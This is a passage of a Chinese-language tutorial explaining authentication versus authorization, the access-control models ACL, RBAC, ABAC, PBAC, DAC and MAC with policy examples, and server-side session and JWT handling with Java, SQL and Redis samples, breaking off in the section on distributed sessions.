跳转至

认证授权基础知识

目录


核心概念

什么是认证(Authentication)?

**认证**是验证用户身份的过程,回答"你是谁?"这个问题。

核心要素: - 身份标识(Identity):唯一识别用户的信息(如用户名、邮箱、手机号) - 凭证(Credentials):证明身份的信息(如密码、指纹、证书) - 认证因子(Authentication Factors): - 知识因子:你知道的(密码、PIN码、安全问题答案) - 持有因子:你拥有的(手机、令牌、智能卡) - 固有因子:你是的(指纹、人脸、虹膜)

认证强度: - 单因素认证(SFA):只使用一种因子(如仅密码) - 双因素认证(2FA):使用两种不同类型的因子 - 多因素认证(MFA):使用两种或以上因子

什么是授权(Authorization)?

**授权**是确定用户可以访问哪些资源的过程,回答"你能做什么?"这个问题。

核心要素: - 主体(Subject):请求访问的用户或服务 - 资源(Resource):被保护的对象(文件、API、数据) - 权限(Permission):允许的操作(读、写、删除、执行) - 策略(Policy):定义访问规则的集合

授权模型:

1. 访问控制列表(ACL - Access Control List)

理论基础:

ACL是最直观的访问控制模型,直接将访问权限与资源绑定。每个资源维护一个列表,明确指定哪些主体(用户、组)对该资源拥有哪些权限。

工作原理:

资源 → ACL条目列表
每个ACL条目包含:
  - 主体标识(用户/组)
  - 权限类型(读/写/执行/删除等)
  - 允许/拒绝标志

数据结构示例:

// 文件系统ACL示例
文件: /document/report.pdf
ACL:
  - { 主体: "user:张三",   权限: ["READ", "WRITE"],        类型: ALLOW }
  - { 主体: "user:李四",   权限: ["READ"],                 类型: ALLOW }
  - { 主体: "group:财务", 权限: ["READ", "WRITE", "DELETE"], 类型: ALLOW }
  - { 主体: "user:王五",   权限: ["READ", "WRITE"],        类型: DENY  }

// API资源ACL示例
资源: /api/orders/{orderId}
ACL:
  - { 主体: "user:admin",     权限: ["GET", "POST", "PUT", "DELETE"], 类型: ALLOW }
  - { 主体: "user:customer",  权限: ["GET"],                          类型: ALLOW }
  - { 主体: "role:订单管理员", 权限: ["GET", "PUT"],                   类型: ALLOW }

实际场景示例:

  1. Linux文件系统权限

    -rw-r--r--  1 zhang staff  4096 Oct 26 10:30 file.txt
    所有者(zhang): 读+写
    组(staff):     读
    其他:          读
    

  2. AWS S3存储桶策略

    {
      "Resource": "arn:aws:s3:::mybucket/data/*",
      "Principal": {"AWS": "arn:aws:iam::123456789:user/zhang"},
      "Action": ["s3:GetObject", "s3:PutObject"],
      "Effect": "Allow"
    }
    

优点: - ✅ 简单直观,易于理解 - ✅ 细粒度控制,精确到每个资源 - ✅ 实现简单,性能高 - ✅ 适合资源数量少的场景

缺点: - ❌ 资源数量多时管理复杂 - ❌ 权限变更需要逐个修改资源 - ❌ 难以实现统一的权限策略 - ❌ 权限分散,缺乏全局视图 - ❌ 用户离职需清理所有相关ACL

适用场景: - 文件系统、对象存储 - 资源数量有限的小型系统 - 需要资源级精确控制的场景 - 云平台资源权限管理


2. 基于角色的访问控制(RBAC - Role-Based Access Control)

理论基础:

RBAC是目前最广泛使用的授权模型,通过引入"角色"作为用户和权限之间的中介层,实现权限的批量管理和复用。

三层模型:

用户(User) → 角色(Role) → 权限(Permission) → 资源(Resource)

核心关系:
- 用户分配角色:一个用户可以有多个角色
- 角色拥有权限:一个角色包含多个权限
- 权限作用于资源:一个权限定义对特定资源的操作

数据结构示例:

// 用户表
User:
  - id: 1001
  - username: "张三"
  - roles: [2, 3]  // 关联角色ID

// 角色表
Role:
  - id: 2
  - name: "编辑者"
  - description: "可以创建和编辑文章"
  - permissions: [101, 102, 103]
  - parent_role: null  // 角色继承

// 权限表
Permission:
  - id: 101
  - name: "article:create"
  - description: "创建文章"
  - resource: "article"
  - action: "create"

  - id: 102
  - name: "article:edit"
  - resource: "article"
  - action: "edit"

  - id: 103
  - name: "article:publish"
  - resource: "article"
  - action: "publish"

// 关系映射
用户张三的权限路径:
张三 → [编辑者角色] → [article:create, article:edit, article:publish]

RBAC模型层次:

  1. RBAC0(核心RBAC)
  2. 基础模型:用户-角色-权限
  3. 支持多对多关系

  4. RBAC1(分层RBAC)

  5. 引入角色继承

    高级编辑 继承自 编辑者
    高级编辑拥有:编辑者的所有权限 + 额外权限
    

  6. RBAC2(约束RBAC)

  7. 职责分离约束(SoD)
  8. 互斥角色:一个用户不能同时拥有冲突角色

    例如:出纳员 和 审计员 互斥
    

  9. RBAC3(统一RBAC)

  10. RBAC1 + RBAC2的组合

实际场景示例:

企业内容管理系统:

角色定义:
- 普通用户:浏览文章、评论
- 作者:普通用户权限 + 创建文章、编辑自己的文章
- 编辑:作者权限 + 编辑所有文章、审核文章
- 管理员:编辑权限 + 删除文章、用户管理、系统配置

权限矩阵:
           | 浏览 | 创建 | 编辑自己 | 编辑所有 | 删除 | 审核 | 用户管理 |
-----------|------|------|----------|----------|------|------|----------|
普通用户   |  ✓   |      |          |          |      |      |          |
作者       |  ✓   |  ✓   |    ✓     |          |      |      |          |
编辑       |  ✓   |  ✓   |    ✓     |    ✓     |      |  ✓   |          |
管理员     |  ✓   |  ✓   |    ✓     |    ✓     |  ✓   |  ✓   |    ✓     |

优点: - ✅ 权限管理集中化,易于维护 - ✅ 符合组织结构,角色对应岗位 - ✅ 批量授权,效率高 - ✅ 易于审计和合规 - ✅ 降低管理成本

缺点: - ❌ 角色爆炸问题(组合过多) - ❌ 灵活性相对较低 - ❌ 难以处理动态权限需求 - ❌ 跨组织协作场景支持不足 - ❌ 需要提前规划角色体系

适用场景: - 企业内部管理系统 - 权限结构相对稳定的应用 - 用户角色清晰的组织 - 大多数Web应用和SaaS平台


3. 基于属性的访问控制(ABAC - Attribute-Based Access Control)

理论基础:

ABAC通过评估主体、资源、环境的多维属性来动态决定访问权限,是最灵活的授权模型。

核心要素:

访问决策 = f(主体属性, 资源属性, 环境属性, 操作)

1. 主体属性(Subject Attributes):
   - 用户身份:用户ID、用户名
   - 组织属性:部门、职级、工作地点
   - 安全属性:安全级别、认证方式

2. 资源属性(Resource Attributes):
   - 资源类型:文档、数据、API
   - 资源元数据:创建者、所属部门、分类
   - 敏感级别:公开、内部、机密

3. 环境属性(Environment Attributes):
   - 时间:日期、时间段、工作日/非工作日
   - 位置:IP地址、地理位置、网络区域
   - 上下文:设备类型、安全状态

4. 操作(Action):
   - 读取、创建、修改、删除

策略规则结构:

策略规则格式:
IF (条件表达式) THEN (允许/拒绝)

示例策略:
Policy-001: "部门文档访问"
  IF (
    subject.department == resource.department AND
    subject.security_level >= resource.security_level AND
    action IN ["read", "write"]
  ) THEN ALLOW

Policy-002: "工作时间限制"
  IF (
    subject.role == "contractor" AND
    environment.time NOT IN working_hours
  ) THEN DENY

Policy-003: "跨部门协作"
  IF (
    subject.user_id IN resource.collaborators AND
    action == "read"
  ) THEN ALLOW

Policy-004: "地理位置限制"
  IF (
    resource.classification == "confidential" AND
    environment.location NOT IN ["office", "vpn"]
  ) THEN DENY

决策流程:

1. 收集属性
   ├─ 从认证上下文获取主体属性
   ├─ 从资源元数据获取资源属性
   └─ 从请求上下文获取环境属性

2. 策略评估
   ├─ 加载适用的策略规则
   ├─ 逐条评估规则条件
   └─ 合并评估结果(优先级、冲突解决)

3. 访问决策
   └─ 返回 ALLOW / DENY / NOT_APPLICABLE

实际场景示例:

场景1:医疗系统患者数据访问

规则:
IF (
  subject.role == "doctor" AND
  subject.department == patient.current_department AND
  subject.hospital == patient.hospital AND
  environment.network == "internal"
) THEN ALLOW READ patient_record

场景2:金融系统交易审批

规则:
IF (
  action == "approve_transaction" AND
  transaction.amount <= subject.approval_limit AND
  subject.has_valid_mfa == true AND
  environment.time IN business_hours
) THEN ALLOW

场景3:云存储文件共享

规则:
IF (
  subject.user_id == resource.owner OR
  subject.user_id IN resource.shared_with OR
  (subject.organization == resource.organization AND 
   resource.visibility == "organization")
) THEN ALLOW READ

优点: - ✅ 极高的灵活性和表达能力 - ✅ 支持动态权限决策 - ✅ 适应复杂业务规则 - ✅ 细粒度控制 - ✅ 减少角色爆炸问题 - ✅ 支持跨组织协作

缺点: - ❌ 实现复杂度高 - ❌ 性能开销较大(需评估多个属性) - ❌ 策略编写和维护难度大 - ❌ 调试和审计困难 - ❌ 需要完善的属性管理系统 - ❌ 学习曲线陡峭

适用场景: - 复杂的企业环境(多部门、多层级) - 需要动态权限的场景 - 跨组织协作平台 - 云服务和多租户系统 - 需要上下文感知的安全系统 - 医疗、金融等强合规行业


4. 基于策略的访问控制(PBAC - Policy-Based Access Control)

理论基础:

PBAC通过专门的策略语言和策略引擎来定义和执行访问控制规则,强调策略的集中管理和动态评估。

核心组件:

1. 策略定义点(PDP - Policy Decision Point)
   - 评估策略并做出访问决策

2. 策略执行点(PEP - Policy Enforcement Point)
   - 拦截访问请求
   - 调用PDP获取决策
   - 执行决策结果

3. 策略信息点(PIP - Policy Information Point)
   - 提供决策所需的属性信息

4. 策略管理点(PAP - Policy Administration Point)
   - 策略的创建、修改、删除

策略语言(XACML概念):

<!-- XACML风格的策略示例 -->
<Policy PolicyId="policy-01" RuleCombiningAlg="permit-overrides">

  <Target>
    <Resources>
      <Resource>
        <ResourceMatch MatchId="string-equal">
          <AttributeValue>document</AttributeValue>
          <ResourceAttributeDesignator AttributeId="resource-type"/>
        </ResourceMatch>
      </Resource>
    </Resources>
  </Target>

  <Rule RuleId="rule-01" Effect="Permit">
    <Condition>
      <Apply FunctionId="and">
        <Apply FunctionId="string-equal">
          <AttributeValue>owner</AttributeValue>
          <SubjectAttributeDesignator AttributeId="relationship"/>
        </Apply>
        <Apply FunctionId="time-in-range">
          <EnvironmentAttributeDesignator AttributeId="current-time"/>
          <AttributeValue>09:00:00</AttributeValue>
          <AttributeValue>18:00:00</AttributeValue>
        </Apply>
      </Apply>
    </Condition>
  </Rule>

</Policy>

现代策略语言(OPA Rego风格):

# Open Policy Agent (OPA) 策略示例

package document.access

# 默认拒绝
default allow = false

# 文档所有者可以执行任何操作
allow {
    input.subject.id == input.resource.owner_id
}

# 同部门成员可以读取
allow {
    input.action == "read"
    input.subject.department == input.resource.department
}

# 经理可以访问下属创建的文档
allow {
    input.subject.role == "manager"
    input.resource.owner_id in input.subject.subordinates
}

# 审计员可以只读查看所有文档
allow {
    input.subject.role == "auditor"
    input.action == "read"
}

# 策略组合示例
allow {
    # 工作时间限制
    work_hours
    # 来自公司网络
    company_network
    # 有有效权限
    has_permission
}

work_hours {
    hour := time.clock(time.now_ns())[0]
    hour >= 9
    hour < 18
}

company_network {
    net.cidr_contains("10.0.0.0/8", input.environment.ip)
}

决策流程:

请求 → PEP → 提取上下文 → PDP → 加载策略 → 评估规则 → 决策
                ↓                        ↑
              PIP(属性查询)←------------┘
            返回结果 → PEP → 执行/拒绝 → 日志记录

实际场景示例:

场景:企业文档管理系统

策略集合:

# 基础访问策略
policy "document_owner_full_access" {
  effect = "allow"
  resources = ["document:*"]
  actions = ["*"]
  condition = "subject.id == resource.owner_id"
}

# 分享策略
policy "shared_document_access" {
  effect = "allow"
  resources = ["document:*"]
  actions = ["read", "comment"]
  condition = "subject.id in resource.shared_users"
}

# 时间限制策略
policy "business_hours_only" {
  effect = "deny"
  principals = ["role:contractor"]
  resources = ["*"]
  actions = ["*"]
  condition = "!is_business_hours(environment.time)"
}

# 安全级别策略
policy "classified_document_access" {
  effect = "allow"
  resources = ["document:*"]
  actions = ["read"]
  condition = """
    resource.classification == "classified" AND
    subject.clearance_level >= resource.required_clearance AND
    subject.completed_training == true
  """
}

# 地理限制策略
policy "geo_restriction" {
  effect = "deny"
  resources = ["document:confidential:*"]
  actions = ["download"]
  condition = "environment.country not in ['US', 'CN']"
}

优点: - ✅ 策略集中管理,统一决策 - ✅ 支持复杂业务逻辑 - ✅ 策略与代码分离,易于更新 - ✅ 可扩展性强 - ✅ 支持策略版本控制和审计 - ✅ 可以组合多种授权模型

缺点: - ❌ 需要额外的策略引擎基础设施 - ❌ 策略语言学习成本 - ❌ 性能开销(策略评估) - ❌ 调试复杂策略困难 - ❌ 可能的单点故障(PDP)

适用场景: - 微服务架构(统一授权) - 需要频繁调整权限规则的系统 - 多种授权模型共存的场景 - 云原生应用 - 需要细粒度审计的系统 - 金融、政府等强监管行业


5. 其他授权模型

DAC(自主访问控制 - Discretionary Access Control)

核心概念: 资源的所有者有权决定谁可以访问该资源。

特点: - 资源创建者自动成为所有者 - 所有者可以授予/撤销他人的访问权限 - 权限可以传递

典型应用:

文件系统:用户可以chmod/chown自己的文件
社交媒体:用户设置帖子的可见范围(公开/好友/私密)
云盘:文件所有者分享给他人

MAC(强制访问控制 - Mandatory Access Control)

核心概念: 由系统强制执行的访问控制,用户无法改变。基于安全标签和安全级别。

多级安全模型(Bell-LaPadula):

安全级别:绝密(Top Secret) > 机密(Secret) > 内部(Confidential) > 公开(Public)

规则:
- No Read Up:用户不能读取高于自己级别的信息
- No Write Down:用户不能写入低于自己级别的信息

典型应用:

军事系统:严格的分级保护
SELinux:Linux强制访问控制
数据库行级安全:基于标签的强制隔离


授权模型对比

维度 ACL RBAC ABAC PBAC DAC MAC
复杂度
灵活性 极高
管理成本 高(资源多时)
性能影响 中-高
扩展性 良好 优秀 优秀 一般 一般
细粒度控制 优秀 一般 优秀 优秀 优秀 一般
动态权限 不支持 不支持 支持 支持 不支持 不支持
学习曲线 平缓 平缓 陡峭 陡峭 平缓 中等
审计能力 一般 良好 优秀 优秀 一般 优秀
典型场景 文件系统 企业应用 云平台 微服务 个人文件 军事系统
适用规模 小型 中大型 大型 大型 小型 中型

选择建议:

场景驱动选择:

1. 小型应用、原型系统
   → ACL(简单够用)

2. 企业内部系统、SaaS产品
   → RBAC(成熟稳定)

3. 复杂权限、跨组织协作
   → ABAC(灵活强大)

4. 微服务、云原生、多模型组合
   → PBAC(统一决策)

5. 个人文件、用户生成内容
   → DAC(用户自主)

6. 高安全要求、军事/政府
   → MAC(强制保护)

混合使用:
实际系统常常组合多种模型
例如:RBAC(基础权限)+ ABAC(动态规则)+ ACL(特殊资源)

认证与授权的区别

维度 认证(Authentication) 授权(Authorization)
核心问题 你是谁? 你能做什么?
目的 验证身份 控制访问
时机 首先执行 认证成功后执行
输入 用户名+密码/令牌 用户身份+请求资源
输出 身份确认(是/否) 访问决策(允许/拒绝)
实现方式 登录、SSO、OAuth RBAC、ACL、策略引擎
HTTP状态码 401 Unauthorized 403 Forbidden

实际流程示例:

1. 用户访问受保护资源
2. 系统检查是否已认证 → 未认证 → 跳转登录页(认证)
3. 用户输入用户名+密码
4. 系统验证凭证 → 认证成功 → 建立会话
5. 系统检查用户权限 → 检查授权策略(授权)
6. 授权通过 → 返回资源 | 授权失败 → 返回403错误


会话管理

为什么需要会话?(Why Session?)

HTTP是**无状态协议**(Stateless Protocol),这意味着: - 服务器无法识别两次请求是否来自同一用户 - 每个请求都是独立的,服务器处理完就"忘记"了 - 无法维护用户的登录状态和上下文信息

**会话管理**通过在多个请求间维护用户状态来解决这个问题,让服务器能够"记住"用户。

典型场景:

场景:用户浏览电商网站

1. 用户登录 → 服务器需要记住"这个用户已登录"
2. 浏览商品 → 服务器需要知道"这是之前登录的那个用户"
3. 加入购物车 → 需要把商品关联到"这个用户的购物车"
4. 结算付款 → 需要确认"这是同一个登录用户"

没有会话管理,每次请求都需要重新登录!


1. 基于服务器的会话(Session)

1.1 Session核心概念(What)

**Session**是服务器端存储的用户会话数据,通过**SessionID**与客户端关联。

核心组成:

Session = SessionID + SessionData

SessionID(会话标识):
- 唯一标识一个会话
- 通常是一个随机字符串
- 示例:3F2504E0-4F89-41D3-9A0C-0305E82C3301

SessionData(会话数据):
- 用户信息:userId, username, roles
- 业务数据:购物车、浏览历史
- 状态信息:登录时间、最后活动时间

1.2 Session工作原理(How)

完整流程:

┌─────────┐                                    ┌─────────┐
│  客户端  │                                    │  服务器  │
└────┬────┘                                    └────┬────┘
     │                                              │
     │  1. POST /login                             │
     │     username=zhang&password=***             │
     ├────────────────────────────────────────────>│
     │                                              │
     │                                              │  2. 验证凭证
     │                                              │  3. 创建Session对象
     │                                              │     session = {
     │                                              │       userId: 1001,
     │                                              │       username: "zhang",
     │                                              │       loginTime: "2024-..."
     │                                              │     }
     │                                              │  4. 生成SessionID
     │                                              │     sessionId = UUID.random()
     │                                              │  5. 存储Session
     │                                              │     storage.put(sessionId, session)
     │                                              │
     │  6. 返回响应 + Set-Cookie                    │
     │     Set-Cookie: JSESSIONID=abc123; HttpOnly │
     │<────────────────────────────────────────────┤
     │                                              │
     │  7. 浏览器保存Cookie                         │
     │     Cookie: JSESSIONID=abc123               │
     │                                              │
     │  8. GET /api/profile                        │
     │     Cookie: JSESSIONID=abc123               │
     ├────────────────────────────────────────────>│
     │                                              │
     │                                              │  9. 提取SessionID
     │                                              │  10. 查找Session
     │                                              │      session = storage.get("abc123")
     │                                              │  11. 验证Session有效性
     │                                              │  12. 获取用户信息
     │                                              │
     │  13. 返回用户数据                            │
     │<────────────────────────────────────────────┤
     │                                              │

关键步骤说明:

  1. Session创建

    用户登录成功后:
    - 生成唯一的SessionID(通常使用UUID或安全随机数)
    - 创建Session对象,存储用户信息
    - 将Session对象保存到存储介质(内存/Redis/数据库)
    

  2. SessionID传递

    方式1:Cookie(最常用)
    Set-Cookie: JSESSIONID=abc123; Path=/; HttpOnly; Secure; SameSite=Strict
    
    方式2:URL重写(不推荐,安全性差)
    http://example.com/page;jsessionid=abc123
    
    方式3:HTTP Header(适用于API)
    X-Session-ID: abc123
    

  3. Session查找

    每次请求:
    1. 从Cookie/Header中提取SessionID
    2. 使用SessionID从存储中查找Session对象
    3. 验证Session是否过期
    4. 更新最后访问时间(如果需要滑动过期)
    

1.3 常见疑问:未登录时是否生成Session/Token?

这是一个非常重要的概念区分点,直接影响到系统的设计和实现。

Session的情况

答案:取决于框架配置,通常有两种情况

情况1:自动创建匿名Session(默认行为)

// 用户第一次访问网站(未登录)
GET /homepage

// Servlet容器自动创建匿名Session
HttpSession session = request.getSession();  // 默认true,会自动创建
// 生成SessionID: abc123
// 但Session内容是空的,没有用户信息

// 响应
Set-Cookie: JSESSIONID=abc123; Path=/; HttpOnly

特点: - ✅ 用于跟踪匿名用户(浏览历史、购物车等) - ✅ Session存在,但没有用户身份信息 - ✅ 可以存储临时数据(如:未登录时的购物车) - ⚠️ 占用服务器资源(即使用户未登录)

情况2:懒创建Session(按需创建)

// 第一次访问(未登录)
HttpSession session = request.getSession(false);  // false表示不自动创建
// session == null

// 只在登录成功后创建Session
public void onLoginSuccess(User user) {
    HttpSession session = request.getSession(true);  // true表示创建
    session.setAttribute("user", user);
}

实际应用示例:电商网站

/**
 * 区分匿名Session和登录Session
 */
@Service
public class SessionService {

    /**
     * 检查用户是否已登录
     */
    public boolean isAuthenticated(HttpSession session) {
        if (session == null) {
            return false;
        }

        // 检查Session中是否有用户信息
        User user = (User) session.getAttribute("user");
        return user != null;
    }

    /**
     * 匿名Session使用场景:未登录的购物车
     */
    public void addToCart(HttpSession session, Product product) {
        // 即使未登录,也可以使用Session存储购物车
        List<Product> cart = (List) session.getAttribute("cart");
        if (cart == null) {
            cart = new ArrayList<>();
            session.setAttribute("cart", cart);
        }
        cart.add(product);
    }

    /**
     * 登录后转换为认证Session
     */
    public void login(HttpServletRequest request, User user) {
        // 1. 获取或创建Session
        HttpSession session = request.getSession(true);

        // 2. 保存旧的匿名数据(购物车)
        List<Product> anonymousCart = (List) session.getAttribute("cart");

        // 3. 重新生成SessionID(防止Session固定攻击)
        request.changeSessionId();

        // 4. 设置用户信息(Session从匿名变为认证)
        session.setAttribute("user", user);

        // 5. 恢复购物车数据
        if (anonymousCart != null) {
            session.setAttribute("cart", anonymousCart);
        }

        log.info("User {} logged in, session converted from anonymous to authenticated", 
                 user.getUsername());
    }
}

实际场景流程:

电商网站Session生命周期:

1. 用户打开网站(未登录)
   ┌─────────────────────────────────┐
   │ 创建匿名Session                  │
   │ SessionID: abc123               │
   │ Data: { cart: [] }              │  ← 可以存储购物车
   └─────────────────────────────────┘

2. 用户浏览并添加商品到购物车
   ┌─────────────────────────────────┐
   │ SessionID: abc123               │
   │ Data: {                         │
   │   cart: [商品A, 商品B]          │  ← 未登录也能购物
   │ }                               │
   └─────────────────────────────────┘

3. 用户点击"结算",跳转到登录页

4. 用户登录成功
   ┌─────────────────────────────────┐
   │ SessionID: xyz789 (重新生成)     │  ← 防止Session固定攻击
   │ Data: {                         │
   │   user: { id: 1001, ... },     │  ← 添加用户信息
   │   cart: [商品A, 商品B]          │  ← 保留购物车数据
   │ }                               │
   └─────────────────────────────────┘

5. 用户完成结算
   - Session继续使用
   - 购物车数据可以清空或保留

JWT Token的情况

答案:不会!未登录时不生成JWT Token

JWT Token只在**登录成功后**才生成,原因:

JWT Token特点:
1. 自包含:Token中包含用户身份信息(sub, username, roles)
2. 有签名:签名证明用户身份已被服务器验证
3. 有过期时间:表示认证的有效期
4. 代表认证状态:Token的存在本身就表示"已认证"

未登录的用户没有经过身份验证,无法生成有效的JWT!

流程对比:

未登录用户访问受保护API:
┌──────────┐                 ┌──────────┐
│   客户端  │                 │   服务器  │
└────┬─────┘                 └────┬─────┘
     │                            │
     │  GET /api/user/profile     │
     │  (无Token)                 │
     ├──────────────────────────> │
     │                            │
     │                            │  检查Authorization Header
     │                            │  → 没有Token
     │                            │  → 无法识别用户身份
     │                            │
     │  401 Unauthorized          │
     │  { "error": "Authentication required" }
     │<────────────────────────── │
     │                            │

登录后获取Token:
     │                            │
     │  POST /api/auth/login      │
     │  {                         │
     │    "username": "zhang",    │
     │    "password": "***"       │
     │  }                         │
     ├──────────────────────────> │
     │                            │
     │                            │  1. 验证凭证成功
     │                            │  2. 生成JWT Token
     │                            │     {
     │                            │       "sub": "1001",
     │                            │       "username": "zhang",
     │                            │       "roles": ["user"],
     │                            │       "exp": 1735689600
     │                            │     }
     │                            │  3. 签名Token
     │                            │
     │  200 OK                    │
     │  {                         │
     │    "access_token": "eyJ...",
     │    "token_type": "Bearer", │
     │    "expires_in": 3600      │
     │  }                         │
     │<────────────────────────── │
     │                            │
     │  客户端保存Token            │
     │  (内存/Cookie/Storage)     │
     │                            │
     │  GET /api/user/profile     │
     │  Authorization: Bearer eyJ...
     ├──────────────────────────> │
     │                            │
     │                            │  验证Token签名
     │                            │  提取用户信息
     │                            │  执行业务逻辑
     │                            │
     │  200 OK                    │
     │  { "id": 1001, ... }       │
     │<────────────────────────── │

RESTful API实现示例:

@RestController
public class ApiController {

    /**
     * 公开接口:无需Token
     */
    @GetMapping("/api/products")
    public List<Product> getProducts() {
        // 任何人都可以访问,不需要Token
        return productService.getAllProducts();
    }

    /**
     * 受保护接口:必须有Token
     */
    @GetMapping("/api/user/profile")
    public UserProfile getMyProfile(@RequestHeader("Authorization") String authHeader) {
        // 1. 检查Token是否存在
        if (authHeader == null || !authHeader.startsWith("Bearer ")) {
            throw new UnauthorizedException("Missing or invalid token");
        }

        // 2. 提取Token
        String token = authHeader.substring(7);

        // 3. 验证Token
        try {
            Claims claims = jwtService.validateToken(token);
            String userId = claims.getSubject();

            // 4. 使用Token中的用户信息
            return userService.getProfile(userId);

        } catch (JwtException e) {
            throw new UnauthorizedException("Invalid token");
        }
    }

    /**
     * 登录接口:生成Token
     */
    @PostMapping("/api/auth/login")
    public TokenResponse login(@RequestBody LoginRequest request) {
        // 1. 验证凭证
        User user = authService.authenticate(
            request.getUsername(), 
            request.getPassword()
        );

        if (user == null) {
            throw new BadCredentialsException("Invalid credentials");
        }

        // 2. 只有验证成功后才生成Token
        String accessToken = jwtService.generateAccessToken(user);
        String refreshToken = jwtService.generateRefreshToken(user);

        // 3. 返回Token
        return new TokenResponse(
            accessToken,
            "Bearer",
            3600,  // 1小时
            refreshToken
        );
    }
}

对比总结

维度 Session JWT Token
未登录时 可能创建匿名Session 不会生成Token
生成时机 第一次访问或登录时 仅在登录成功后
未登录用户 可以跟踪(匿名Session) 无法跟踪(无Token)
典型用途 购物车、浏览历史、推荐 认证和授权
包含信息 可以为空或只有匿名数据 必须包含用户身份
服务器存储 需要(即使匿名) 不需要
资源占用 占用(每个访客都有) 不占用(只有登录用户)

关键区别:

Session:
✅ 可以在未登录时创建(用于跟踪匿名用户)
✅ 登录后在Session中添加用户信息
✅ Session本身是容器,可以存储任何数据
✅ 适合需要跟踪匿名用户的场景

JWT Token:
✅ 只在登录成功后生成
✅ Token本身就代表"已认证"
✅ Token必须包含用户身份信息
✅ 适合纯API认证场景

实际应用建议:

场景1:需要跟踪匿名用户(电商、社交)
推荐:使用Session
原因:
- 未登录用户也需要购物车
- 需要记录浏览历史做推荐
- 需要保存用户偏好设置

场景2:纯API认证(移动App、微服务)
推荐:使用JWT
原因:
- 不需要跟踪匿名用户
- 只有登录用户才能访问API
- 无状态,易于扩展

场景3:混合场景(Web + Mobile)
推荐:组合使用
- Web端:未登录用LocalStorage/匿名Session
- 登录后:生成JWT Token
- 迁移匿名数据到用户账户

代码示例:混合方案

/**
 * 混合方案:匿名购物车 + JWT认证
 */
@Service
public class HybridCartService {

    /**
     * 未登录:使用匿名标识(客户端生成的UUID)
     */
    public void addToAnonymousCart(String anonymousId, Product product) {
        // 存储在临时表或缓存中
        String key = "anonymous:cart:" + anonymousId;
        redis.sadd(key, product.getId());
        redis.expire(key, 7, TimeUnit.DAYS);  // 7天过期
    }

    /**
     * 登录:生成JWT + 迁移匿名购物车
     */
    public TokenResponse loginAndMergeCart(String username, 
                                          String password, 
                                          String anonymousId) {
        // 1. 验证凭证
        User user = authenticate(username, password);

        // 2. 生成JWT Token
        String token = jwtService.generateToken(user);

        // 3. 迁移匿名购物车
        if (anonymousId != null) {
            String anonymousKey = "anonymous:cart:" + anonymousId;
            String userKey = "user:cart:" + user.getId();

            // 合并购物车数据
            Set<String> anonymousCart = redis.smembers(anonymousKey);
            redis.sadd(userKey, anonymousCart.toArray(new String[0]));

            // 删除匿名数据
            redis.del(anonymousKey);
        }

        // 4. 返回Token
        return new TokenResponse(token);
    }

    /**
     * 登录后:使用JWT中的用户ID
     */
    public void addToUserCart(String jwtToken, Product product) {
        // 从Token中提取用户ID
        Claims claims = jwtService.validateToken(jwtToken);
        String userId = claims.getSubject();

        // 存储到用户购物车
        String key = "user:cart:" + userId;
        redis.sadd(key, product.getId());
    }
}

1.4 SessionID生成算法

安全要求: - 随机性:不可预测 - 唯一性:不会冲突 - 长度适中:32-128字符

常用生成方法:

方法1:UUID(推荐)
sessionId = UUID.randomUUID().toString()
示例:3f2504e0-4f89-41d3-9a0c-0305e82c3301

方法2:安全随机数 + Base64
byte[] randomBytes = new byte[32];
SecureRandom.getInstanceStrong().nextBytes(randomBytes);
sessionId = Base64.getUrlEncoder().encodeToString(randomBytes)
示例:5J2vM8kPqL9Xw3nF7hR4tY6uI1oP

方法3:哈希组合(增强)
data = userId + timestamp + serverSecret + randomNumber
sessionId = SHA256(data)
示例:a7f3b9c2e1d4f8b5a6c3e2d1f9b8c7a6

⚠️ 错误示例(不安全):
sessionId = userId + timestamp  // 可预测!
sessionId = MD5(userId)         // 可推测!

1.4 Session存储方案

方案1:内存存储(In-Memory)

**适用场景:**单机应用、开发测试环境

实现方式:

// 使用ConcurrentHashMap存储
private static final Map<String, SessionData> sessions = 
    new ConcurrentHashMap<>();

// 创建Session
public String createSession(SessionData data) {
    String sessionId = UUID.randomUUID().toString();
    sessions.put(sessionId, data);
    return sessionId;
}

// 获取Session
public SessionData getSession(String sessionId) {
    return sessions.get(sessionId);
}

// 删除Session
public void removeSession(String sessionId) {
    sessions.remove(sessionId);
}

优点: - ✅ 性能最高,直接内存访问 - ✅ 实现简单 - ✅ 无需额外组件

缺点: - ❌ 服务器重启Session丢失 - ❌ 不支持分布式 - ❌ 内存占用大(用户多时) - ❌ 无法持久化

方案2:数据库存储(Database)

**适用场景:**需要持久化、审计要求高

表结构设计:

CREATE TABLE sessions (
    session_id VARCHAR(64) PRIMARY KEY,
    user_id BIGINT NOT NULL,
    session_data TEXT,           -- JSON格式存储
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    last_accessed_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    expires_at TIMESTAMP NOT NULL,
    ip_address VARCHAR(45),
    user_agent VARCHAR(255),
    INDEX idx_user_id (user_id),
    INDEX idx_expires_at (expires_at)
);

-- 清理过期Session的定时任务
DELETE FROM sessions WHERE expires_at < NOW();

优点: - ✅ 数据持久化,服务器重启不丢失 - ✅ 支持审计和统计 - ✅ 可以查询用户的所有Session

缺点: - ❌ 性能较差(磁盘I/O) - ❌ 增加数据库负载 - ❌ 需要定期清理过期数据

方案3:Redis存储(推荐用于分布式)

**适用场景:**分布式系统、高并发场景

实现方式:

// 存储Session
SET session:abc123 "{\"userId\":1001,\"username\":\"zhang\"}" EX 1800

// 数据结构
Key: session:{sessionId}
Value: JSON格式的Session数据
TTL: 1800秒(30分钟)

// 读取Session
GET session:abc123

// 更新过期时间(滑动过期)
EXPIRE session:abc123 1800

// 删除Session(登出)
DEL session:abc123

// 获取用户的所有Session(多设备登录管理)
Key模式: session:user:{userId}:{deviceId}
KEYS session:user:1001:*

优点: - ✅ 高性能(内存数据库) - ✅ 支持分布式 - ✅ 自动过期(TTL) - ✅ 支持集群和主从复制 - ✅ 丰富的数据结构

缺点: - ❌ 需要额外的Redis服务器 - ❌ 增加架构复杂度 - ❌ Redis宕机影响所有Session

1.5 分布式Session解决方案

问题场景:

用户请求可能路由到不同服务器:

请求1 → 服务器A → 创建Session
请求2 → 服务器B → 找不到Session(因为在A上)

解决方案对比:

方案1:Session粘滞(Sticky Session)

原理:通过负载均衡器确保同一用户的请求总是路由到同一台服务器

配置示例(Nginx):
upstream backend {
    ip_hash;  # 基于IP哈希
    server server1:8080;
    server server2:8080;
    server server3:8080;
}

流程:
客户端IP: 192.168.1.100 → 哈希计算 → 总是路由到server2

